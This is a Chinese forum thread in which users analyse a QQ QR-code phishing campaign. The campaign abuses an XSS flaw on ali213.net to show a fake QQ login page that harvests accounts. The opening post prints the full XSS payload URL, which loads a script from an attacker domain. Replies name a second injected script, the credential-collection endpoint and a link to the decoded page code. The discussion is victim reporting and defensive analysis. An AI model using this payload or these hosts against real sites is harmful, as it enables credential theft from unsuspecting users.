有没有腾讯的人啊。。好像出了个新漏洞？？？

[yejinmo]

朋友自动发给我的，说是前不久他朋友发给他的，通过 QQ 传播的，需要在手机 QQ 上扫码

二维码解析后的恶意链接

http://comment.ali213.net/ali-comment-renotice.php?callback=%00%00%00%00%00%00%00%3CscripT/src=//633832.pywbm.cn/template/app.js%3E%3C/scripT%3E%3C!--

其中指向的恶意代码

http://633832.pywbm.cn/template/app.js

鹅厂员工调查下为啥会自动发给好友？

有没有搞安全的大佬研究下？

[yejinmo]

恶意图片：

[tangweihua163]

屁大点事儿，又不是山（ shan ）洞（ dong ）佃（ dian ）妇（ fu ）

[xmdhs]

大概是他没看域名就输了密码吧

[1024MB]

这是人的漏洞，安全领域叫社会工程学，凯文叫它欺骗的艺术。so,你被骗了，叫警察的漏洞

[e1el]

这不叫漏洞，这叫

[lzxgh621]

@e1el 不要在论坛发漩涡好吗。。。吓死了

[yiqiao]

@e1el 心理阴影

[Lentin]

这个应该是属于 @游侠网 ali213.net 的一个 XSS 漏洞，跟腾讯关系不大

[Lentin]

https://bbs.ichunqiu.com/thread-43894-1-1.html
其实腾讯也有锅，没有主动 XSS 探测，Chrome 很机智的检测出来了

[34C]

我想说那个二维码做得蛮好看的…… 有谁知道在哪生成的吗……

[sdshdv]

这种老骗术也就刚刚用 QQ 的小学生会上当

[qiayue]

最后网页会把假的登录框得到的账号和密码传输到 http://qzone.duboy.com.cn/user.php
之后跳转到 http://yunzhijia.com/microblog/filesvr/5b365ddd364a0f55c8d16590，给你看狗

[AlisaDestiny]

被插入的 js 地址：
```
http://qqq.brhrc.cn/template/login.js
```
由于页面代码使用的 base64 编码和 arc4 加密，这是最终解码出来的页面代码：
```
https://paste.ubuntu.com/p/y98DWVZYMg/
```
这是账号提交的地址：

我能做的就是这么多了。各位如何对待这个服务器请随意。

[yamedie]

@34C 联图 liantu.com

[jiqing]

@AlisaDestiny #12 兄弟你这怎么解码出来的

[opengps]

这是个老骗术，就是仿站，钓鱼拿到账号密码，你随便输入点他都会记录

[yejinmo]

@xmdhs #3
@Lentin #8
@Lentin #9
@sdshdv #11

腾讯的确是有很多服务要求你用手机 QQ 扫码登录之类的，只不过这个扫了码之后要求输入账号密码就很假了

想说手机 QQ 内置浏览器为什么没有 XSS 检测。。

[yejinmo]

@opengps #16

刚开始以为是以前分享攻击之类的，后来问清朋友是主动输入的账号密码被钓了

[yejinmo]

@34C #10

好像是作者自己弄的。。谷歌了一遍没找到相似图片

[CokeMine]

虚假登录界面

同二维码 以前差点中过招，还好最后回过神来了
我的好友好几个都被盗给我发一模一样的 zz 二维码了